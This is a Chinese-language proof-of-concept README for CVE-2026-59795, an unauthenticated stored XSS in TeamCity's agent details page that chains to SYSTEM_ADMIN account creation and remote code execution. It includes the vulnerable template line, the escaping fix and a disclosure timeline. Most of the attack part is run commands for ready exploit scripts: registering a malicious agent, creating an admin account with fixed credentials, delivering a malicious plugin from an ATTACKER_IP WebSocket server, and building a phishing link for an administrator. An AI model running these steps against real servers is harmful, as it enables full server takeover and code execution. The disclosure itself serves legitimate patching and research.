
CVE-2026-59795 的概念验证:TeamCity 代理详情中的未认证存储型 XSS,可串联至 SYSTEM_ADMIN 账户创建与插件上传 RCE。
TeamCity 旧版代理详情页面中存在未认证存储型 XSS,可升级为服务器 RCE 且无需重启。攻击者注册一个构建代理(无需凭据),并将 os.name 设置为恶意值,然后诱使管理员查看该代理的详情页面。载荷在管理员已认证的会话中执行,可创建 SYSTEM_ADMIN 账户,或上传并加载恶意插件。
| CVE | CVE-2026-59795 |
| 受影响版本 | TeamCity <= 2026.1.1 (build 222577) |
| 修复版本 | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| 类型 | 存储型 XSS (CWE-79),可链式利用导致 SYSTEM_ADMIN 接管和 RCE |
| 所需认证 | 植入载荷无需认证 |
触发方式: 管理员查看恶意代理,可通过默认 Sakura UI 上精心构造的一键 &fromSakuraUI=true 链接,或完全无需钓鱼——当管理员使用经典 UI(用户级“Use Sakura UI”未勾选,或服务器范围经典模式)时,在正常授权工作流中打开待处理代理即可触发。
webapps/ROOT/agent/agentSummary.jsp 渲染代理上报的操作系统名称时未进行转义:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
完整报告(含截图和背景):https://joakimbulow.com/posts/cve-2026-59795/
上方几行的同级 agent 名称使用了 <c:out>,证实该遗漏是意外造成的。operatingSystemName 完全由攻击者控制:未认证的 agent 在注册时设置它(POST /app/agents/v1/register 中的 osName 属性),服务器会原样存储并回显。
Sakura React UI 会正确转义 osName,并且通常会从旧版页面重定向离开,但在以下情况下会跳过重定向(并渲染未转义的 JSP):
?fromSakuraUI=true 打开该 agent(重定向标签自身的绕过标志),或teamcity.ui.experimental=disableDefault,或按用户选择退出“使用 Sakura UI”),或已实机确认:
alert(document.domain),无副作用。SYSTEM_ADMIN 账户(无 RCE)。/admin/pluginUpload.html,并通过 /admin/plugins.html(EnableAllPlugins)启用它,从而将攻击者 Java 代码加载到运行中的 TeamCity JVM 中,无需重启。通过在服务器主机上写入的证明文件验证,该文件在管理员点击后 4 秒生成。在 agentSummary.jsp 中转义输出:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(上一行的 agent.version 字段存在同样的问题,需要做同样的修复。)
GET /update/buildAgent.zipjavac,仅在 RCE PoC 中需要curl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
你不需要手动编辑 conf/buildAgent.properties;下面的每个 PoC 都会根据其 --url/--tc-url 参数设置 serverUrl,并在每次运行时重写 agent 名称,因此可以安全地重复使用同一个解压后的 evilagent/ 目录。
./poc/)按顺序运行这些 PoC,每一个都比上一个确认更多的影响。
1. alert_only.py,确认 XSS,零副作用。 植入一个 osName 会弹出 alert(document.domain) 的 agent。不创建账户,不执行代码。
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py,从 XSS 到 SYSTEM_ADMIN 接管,无需 RCE。 同样的植入方式,但载荷会创建一个 SYSTEM_ADMIN 账户(eviladmin / Ev1l-Pass-123),并轮询直到该账户能够登录。
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py,完整攻击链,从 XSS 到插件上传再到 RCE,单终端完成。 构建插件,启动恶意 agent 和 WebSocket 服务器,并打印钓鱼链接。当管理员查看该链接时:XSS 触发,WS 服务器投递插件,插件被上传并启用,TeamCity 在运行时加载它。
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
每个 PoC 都会打印一个类似这样的链接:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
把它发送给管理员(Sakura UI,一键操作),或者,如果管理员已经在使用经典 UI,只需让他们访问不带特殊参数的 agentDetails.html?id=N,例如通过正常的待处理代理审核流程。
在管理员点击后的几秒钟内,在 TeamCity 服务器主机上:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
如果管理员的浏览器无法直接访问你的攻击机,例如,你只能通过 SSH 隧道进入目标才能访问,请使用 rce_prepare.py 在你的机器上构建插件和 agent,然后将 poc/ws_serve.py 和构建好的插件 ZIP 传输到 TeamCity 主机,并从那里提供它们:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
通过用于访问 TeamCity 的同一隧道转发 WebSocket 端口(-L 1337:localhost:1337),以便管理员的浏览器能够以 ws://localhost:1337 访问它。
清理提示:每次运行都会注册一个全新命名的 agent,因此重复运行不会发生冲突,但每次运行都会留下一个新的未授权 agent。测试完成后,请在 Agents -> Unauthorized 下将其删除。
| 文件 | 用途 |
|---|---|
poc/alert_only.py | 分诊步骤 1,使用无害的 alert() 确认 XSS |
poc/attacker_deeplink.py | 分诊步骤 2,从 XSS 到 SYSTEM_ADMIN 接管 |
poc/rce_ws_server.py | 分诊步骤 3,完整的从 XSS 到上传再到 RCE 的利用链,单终端 |
poc/rce_prepare.py | 相同的 RCE 利用链,拆分以便 WebSocket 服务器可在目标主机上运行(隧道配置) |
poc/ws_serve.py | 独立的 WebSocket 文件服务器,供 rce_prepare.py 的拆分配置使用 |
poc/poclib.py | 共享辅助模块:配置并启动恶意 agent |
poc/payloads.txt | 原始 XSS payload 变体(alert、无空格、创建管理员) |
| 日期 | 事件 |
|---|---|
| 2026-06-15 | 已报告 |
| 2026-06-15 | 已确认 |
| 2026-06-17 | 已修复 |
| 2026-07-01 | 修复版本发布,2026.1.2 (222647) 和 2025.11.6 (208214) |
| 2026-07-10 | CVE 发布 |
| 2026-11-03 | POC 发布 |